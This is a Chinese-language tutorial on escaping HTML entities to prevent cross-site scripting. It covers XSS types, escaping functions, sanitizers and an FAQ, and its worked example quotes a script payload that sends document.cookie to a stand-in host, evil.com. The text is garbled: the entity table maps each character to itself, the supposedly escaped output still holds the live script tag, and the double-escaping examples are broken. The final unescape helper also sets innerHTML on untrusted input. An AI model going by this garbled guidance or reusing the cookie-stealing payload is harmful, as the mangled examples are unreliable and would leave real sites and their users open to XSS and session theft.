
当你在网页上显示用户生成的内容时,你不能信任它。HTML 实体是防御**跨站脚本(XSS)**攻击的第一道防线。本文解释了什么是 HTML 实体,如何正确转义和反转义它们,以及为什么这对你的应用程序安全至关重要。
什么是 HTML 实体?
HTML 实体是表示 HTML 中保留或特殊字符的字符序列。例如,< 写作 <,> 写作 >,& 写作 &," 写作 "。当浏览器渲染 HTML 时,它会将实体显示为对应的字符,但绝不会将实体解释为代码。这可以防止注入的标记被执行。
为什么要转义 HTML?
转义(或编码)HTML 会将特殊字符转换为其实体等价物。这在将不可信数据插入 HTML 上下文时至关重要,例如:
- 元素内容内部(例如
<div>{userInput}</div>) - 属性值内部(例如
<a href="{userInput}">) <script>或<style>块内部(尽管适用不同的规则)
如果跳过转义,攻击者可以注入任意的 HTML 或 JavaScript。例如,一个包含 <script>alert('xss')</script> 的评论字段会在每个访问者的浏览器中执行。
XSS 的三种类型
理解 XSS 有助于你认识到转义为何至关重要:
- 存储型 XSS:恶意代码保存在服务器上(例如数据库中),并分发给所有用户。这是最危险的一种。
- 反射型 XSS:有效载荷位于 URL 或请求参数中,并立即反射回来,通常通过搜索结果或错误消息。
- 基于 DOM 的 XSS:漏洞完全存在于客户端 JavaScript 中,不可信数据在没有服务器参与的情况下修改 DOM。
在所有情况下,正确的 HTML 实体转义可以防止浏览器将用户输入视为代码。
如何转义和反转义 HTML
手动转义
你可以使用查找表手动替换字符:
| 字符 | 实体 |
|---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
使用 JavaScript 的 innerText 与 innerHTML
设置 element.innerText = userInput 会自动转义 HTML。避免对不可信数据使用 innerHTML。
服务器端库
大多数框架提供内置的转义功能:PHP 中的 htmlspecialchars(),Python 的 html 模块中的 escape(),或 Razor 视图中的 @。
专用工具
对于快速转换,请使用我们的 HTML 实体转义/反转义 工具。它支持双向转换,并涵盖所有命名实体。
工作示例:转义用户评论
假设你有一个评论系统。用户提交:
Great post! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
没有转义,渲染后的 HTML 变为:
<p>Great post! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script></p>
脚本执行。经过转义,输出为:
<p>Great post! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script></p>
浏览器安全地显示文本。
常见陷阱
- 双重转义:如果你转义已经转义的数据,
&会变成&amp;。仅在你信任来源时才反转义。 - 错误的上下文:HTML 转义不能保护
<script>标签或 CSS 内部。对这些上下文使用不同的编码(例如 JavaScript 字符串转义)。 - 属性转义:始终为属性加引号,并转义
"和'。未加引号的属性尤其危险。 - 假设库的安全性:即使是流行的所见即所得编辑器也可能需要额外的 XSS 过滤。始终在服务器端对输出进行清理。
- 忽略 Unicode:像
\uFF1C(全角小于号)这样的字符可以绕过简单的过滤器。使用适当的编码库。
安全影响:超越基本转义
仅靠转义不足以处理富内容。你需要一个基于白名单的清理器,允许安全的 HTML 标签和属性,同时剥离危险的标签和属性。像 DOMPurify(客户端)或 Bleach(Python)这样的库可以做到这一点。
考虑这个攻击向量:攻击者发布一条带有 onerror 属性的 <img> 标签的评论。即使 < 和 > 被转义,如果你允许某些 HTML,onerror 处理程序仍可以执行 JavaScript。清理器会从白名单中移除 onerror。
比较:转义 vs 清理
| 方法 | 优点 | 缺点 |
|---|---|---|
| 转义 | 简单、快速,防止所有代码执行 | 破坏格式;不允许 HTML |
| 清理 | 允许安全的 HTML;保留富内容 | 复杂;如果白名单不完整,存在绕过风险 |
| 两者结合 | 最佳安全性 | 需要仔细排序(先清理后转义) |
常见问题
HTML 实体和 URL 编码有什么区别?
HTML 实体为 HTML 上下文编码字符(例如 < → <)。URL 编码(百分号编码)将字符转换为 URL 格式(例如 < → %3C)。它们用途不同,不可互换。
应该在客户端还是服务器端转义?
始终在服务器端转义作为最终的安全网。客户端转义可以通过禁用 JavaScript 绕过。对存储在数据库中的数据使用服务器端转义。
可以使用 innerText 代替转义吗?
可以,innerText 会自动转义 HTML。但它仅适用于纯文本内容。对于富 HTML,请使用清理器。
什么是 &,为什么会出现?
& 是 & 的实体。如果你在渲染的文本中看到 &,这意味着 & 被双重转义了。例如,原始数据中有 &,转义后变成了 &amp;。在显示前先反转义一次。
如何在 JavaScript 中反转义 HTML 实体?
创建一个临时元素并读取其 textContent:
function unescapeHtml(str) {
const el = document.createElement('div');
el.innerHTML = str;
return el.textContent;
}
这适用于大多数命名和数字实体。